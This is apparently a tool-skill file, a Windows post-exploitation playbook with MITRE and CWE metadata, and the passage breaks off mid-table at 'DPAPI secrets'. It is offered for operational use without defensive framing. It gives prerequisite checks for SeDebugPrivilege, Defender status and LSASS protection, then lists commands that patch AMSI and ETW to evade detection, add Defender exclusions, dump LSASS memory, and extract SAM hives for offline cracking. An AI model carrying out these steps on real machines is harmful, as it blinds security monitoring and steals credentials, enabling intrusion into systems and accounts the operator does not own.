windows-postexploit

name	windows-postexploit
description	Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
category	post-exploitation
tags	["windows","post-exploitation","credential-access","defense-evasion","lsass","dpapi","etw","amsi","sam","keylogging"]
tech_stack	["windows","powershell","add-type-csharp"]
cwe_ids	["CWE-269","CWE-522","CWE-693","CWE-312"]
chains_with	["T1003","T1003.001","T1003.002","T1056.001","T1059.001","T1562.001","T1562.006","T1070.001","T1555","T1555.003"]
prerequisites	["T1068","T1548.002"]
version	1.0

Windows Post-Exploitation Methodology

Windows post-exploitation uses userland APIs (no kernel driver signing needed) for credential harvesting, monitoring, and stealth. After gaining Administrator access on a Windows target, these tools provide comprehensive credential extraction and operational security capabilities.

Prerequisites

Before deploying winhook tools, verify:

1. Administrator access — most operations require elevated privileges
2. OS version — Windows 10/11 or Server 2016+ for ETW features
3. PowerShell — available natively on all modern Windows (all tools use PowerShell + Add-Type C#, no Python needed)
4. AV/EDR status — run amsi_bypass and etw_blind first if Defender/EDR is active

# Quick prerequisite check
whoami /priv                              # verify SeDebugPrivilege
Get-MpComputerStatus | Select RealTimeProtectionEnabled  # Defender status
Get-Process lsass                         # verify LSASS accessible
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL  # PPL status

Kill Chain Phases

Phase 1 — AV/EDR Evasion (First priority)

Neutralize monitoring before performing credential operations.

Action	Command	Purpose
Bypass AMSI	winhook amsi_bypass	Patch AmsiScanBuffer to allow undetected PowerShell execution
Blind ETW	winhook etw_blind	Patch EtwEventWrite to prevent EDR from receiving telemetry
Exclude paths	winhook defender_exclude --path C:\Tools	Add Defender exclusion for tool staging directory

Phase 2 — Credential Harvesting

Extract credentials from multiple sources.

Action	Command	Purpose
LSASS dump	winhook lsass_dump	Dump LSASS memory for NTLM hashes, Kerberos tickets, plaintext passwords
SAM extraction	winhook sam_dump	Extract registry hives for offline cracking with secretsdump/hashcat
DPAPI secrets